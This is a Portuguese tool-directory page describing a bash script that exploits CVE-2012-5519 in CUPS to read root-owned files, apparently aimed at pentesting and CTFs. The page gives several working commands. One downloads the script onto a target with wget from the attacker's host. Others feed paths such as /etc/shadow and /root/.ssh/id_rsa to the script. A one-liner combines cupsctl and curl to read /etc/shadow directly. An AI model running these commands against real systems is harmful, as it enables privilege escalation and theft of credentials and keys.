Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2012-5519 — cups-root-file-read.sh | CVE-2012-5519 | Kitploit
Ferramentas/GitHubGitHub/p1ckzi/cve-2012-5519
Privilege EscalationVulnerability AnalysisExploitationInformation GatheringCTFPenetration Testing
GitHubp1ckzi/cve-2012-5519

CVE-2012-5519

cups-root-file-read.sh | CVE-2012-5519

Ver Repositório
91há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

cups-root-file-read.sh ⭐

uma implementação em bash do módulo 'cups_root_file_read.rb' do metasploit, projetada para pentesting e CTFs.
principalmente um pequeno exercício em script bash. destinado a ser um programa autossuficiente que explora o CVE-2012-5519 em sistemas Linux;
fornece ao usuário um prompt interativo, permitindo que ele leia rapidamente vários arquivos restritos.

o exploit - CVE-2012-5519 ❗

este script explora uma vulnerabilidade no CUPS (Common UNIX Printing System) < 1.6.2.
O CUPS permite que usuários do grupo lpadmin façam alterações no arquivo cupsd.conf, com o comando cupsctl.
Este comando também permite que o usuário especifique um caminho para ErrorLog.
Quando o usuário visita a página '/admin/log/error_log', o daemon cupsd, executando com SUID de root, lê o caminho ErrorLog e o exibe em texto simples.
Em resumo, arquivos pertencentes ao usuário root podem ser lidos se o caminho ErrorLog for direcionado para lá.

pré-requisitos ✔

o script faz uma série de verificações antes de passar o prompt ao usuário; no entanto, todos os pré-requisitos incluem:

  • linux - o script foi testado apenas em Linux e pode não funcionar em outros sistemas operacionais.
  • bash - cups-root-file-read.sh é escrito em bash.
  • curl - (verificado no script) usado para solicitar a página web. atualmente não há comandos alternativos de parsing HTTP embutidos no script, como wget ou nc, devido a limitações de tempo.
  • vulnerável - (verificado no script) algumas verificações são feitas para garantir que a vulnerabilidade exista e se o usuário atual pode explorá-la, e portanto usar o script de exploit. Isso inclui ser membro do grupo 'lpadmin', se o comando cupsctl está disponível, etc.

uso ℹ

Assume-se que o script será usado para fins de pentesting e eventos de CTF. Coloque o script na máquina alvo. Isso pode ser feito de várias maneiras. Um método comum a partir da máquina alvo:

root@kitploit:~
wget http://[my ip]:[my port]/cups-root-file-read.sh

cups-root-file-read.sh não requer nenhum argumento ou flag, mas tem dois opcionais:

root@kitploit:~
./cups-root-file-read.sh -h

./cups-root-file-read.sh does not require any arguments to run.
it is currently interactive only.
usage: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
        -a, --accessible: turns off features which may negatively affect
        screen readers.
        -h, --help: prints this dialog message.
after passing all the required checks for the exploit,
the user will be prompted for input.
type in the full path to a file to read it.
eg.
        1. /root/.ssh/id_rsa
        2. /root/.bash_history
        3. /etc/shadow etc...

execute com:

root@kitploit:~
bash cups-root-file-read.sh

ou

root@kitploit:~
chmod +x cups-root-file-read.sh

./cups-root-file-read.sh

ou se quiser ler apenas um único arquivo:

root@kitploit:~
echo '/etc/shadow' | ./cups-root-file-read.sh

após passar pelas verificações iniciais de funcionalidade e vulnerabilidade, o usuário recebe um prompt que permite digitar um caminho absoluto para um arquivo existente. O conteúdo de cada arquivo será impresso no terminal.

melhor uso:

embora o script possa ser usado para testar e ler arquivos restritos, é mais útil se o usuário já souber da existência de arquivos restritos que deseja visualizar. por exemplo:

  • /root/.ssh/id_rsa
  • /root/.bash_history
  • /etc/shadow
  • /etc/sudoers ... etc.

limitações ⚠

existem algumas limitações no script e no exploit. e pelo que sei, o módulo 'cups_root_file_read.rb' do metasploit também sofre das mesmas limitações.

espaços em branco:

a submissão pelo usuário deve ser um caminho absoluto para um arquivo existente que o usuário deseja visualizar e não deve conter espaços em branco em nenhum lugar do arquivo ou caminho. isso ocorre porque o comando cupsctl não consegue lidar corretamente com caracteres de espaço em branco, mesmo com aspas (exemplo: ErrorLog='/path to/file.txt') e separará a entrada nos caracteres de espaço em branco em diretivas separadas, com o valor booleano 'true'.
o exemplo anterior, se submetido, seria escrito no arquivo cupsd.conf como:

root@kitploit:~
ErrorLog=/path
to/file.txt=true

isso gera erros que são escritos no log de erros, que podem ser arquivos importantes se especificados no caminho ErrorLog em uma tentativa anterior bem-sucedida de ler um arquivo. Portanto, o script verifica espaços em branco e os filtra.


retornando códigos de status 404:

apesar das verificações para garantir que o usuário submeta algo que se pareça com um caminho absoluto e arquivo, nem todos os erros podem ser capturados antes de serem passados ao servidor com o comando cupsctl:
arquivos existentes no diretório raiz podem ser lidos (exemplo: '/file.txt'), mas diretórios comuns do Unix como '/tmp' e '/root' também podem ser submetidos (seja propositalmente ou por erro do usuário). não há captura para esses diretórios do sistema e eles retornarão códigos de status 404 do servidor. o usuário é informado sobre isso.
diretórios inexistentes especificados no caminho (exemplo: '/tmp/non-existent-directory/file.txt') também resultarão em um código de status 404 retornado pelo servidor.


arquivos vazios:

tentar visualizar arquivos inexistentes (exemplo: '/root/non-existent-file.txt') resultará em sua criação como o novo log de erros. o usuário é informado disso na saída e que o arquivo vazio pode ter sido criado pelo script de exploit se já não estava lá antes. existe sempre a possibilidade de que esses arquivos vazios tenham sido criados por um usuário do sistema para qualquer finalidade aproximadamente na mesma hora em que o script foi executado, por isso eles não são limpos.

embora o Linux tenha comandos para testar se um arquivo ou diretório existe, esse recurso não foi implementado no script antes de a entrada do usuário ser passada ao comando cupsctl, pois comandos de teste não funcionam se um arquivo ou diretório existe em um local proibido para o usuário atual (exemplo: '/root') por razões óbvias de segurança. como o script foi projetado para ler tais arquivos proibidos, esse recurso seria inútil.


erros do CUPS:

às vezes, erros do cupsctl podem ocorrer ao fazer alterações, manualmente ou através do cups-root-file-read.sh. embora o cups-root-file-read.sh lide com entradas incomuns do usuário e alguns erros, esses erros do cupsctl que ocorrem ao fazer alterações no arquivo cupsd.conf ou ao solicitar a página web não são tratados. cups-root-file-read.sh simplesmente será encerrado. nesses casos, o script pode ser iniciado novamente e outra tentativa pode ser feita.


notas 📝

o script foi principalmente um exercício de criação de um programa curto, abrangente e autossuficiente para um único exploit, pensando tanto na legibilidade quanto na acessibilidade.

o script destina-se a testar a presença do CVE-2012-5519 e, em seguida, ler vários arquivos restritos de forma rápida e fácil durante a exploração. para esse fim, sinto que é significativamente mais rápido do que o módulo metasploit e digitar um comando manual e editá-lo repetidamente (espero). mas dito isso, se o usuário sabe que a máquina alvo é vulnerável, o mesmo resultado pode ser alcançado com algo como:

root@kitploit:~
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'

a partir de 2022, este exploit tem 10 anos. se a máquina alvo também for antiga, é possível que as versões dos vários comandos utilizados no script não tenham a funcionalidade que têm agora. isso também pode se aplicar à versão do bash. infelizmente, fui limitado pelo tempo e não pude testar o script em uma gama mais ampla de ambientes. pode ser mais útil para CTFs.

originalmente, o script seria criado com python3, mas encontrei várias ocasiões em que python2 e python3 não estavam disponíveis para o usuário após obter acesso a um sistema como usuário não privilegiado. o bash está quase sempre disponível em um sistema Linux, assim como comandos comuns do Linux, então uma implementação em bash parecia a opção mais segura.

comandos internos do bash são usados tanto quanto possível, no entanto o script depende de alguns comandos externos como sort, head e curl (e claro cupsctl usado como parte do exploit). atualmente não há verificações para esses comandos e nenhuma alternativa devido a restrições de tempo. o script falhará se esses comandos não estiverem disponíveis :(

créditos 👍

https://argbash.io - para ajuda com os argumentos iniciais do script.
https://skerritt.blog/a11y/ - implementação de acessibilidade.

Baixar ferramenta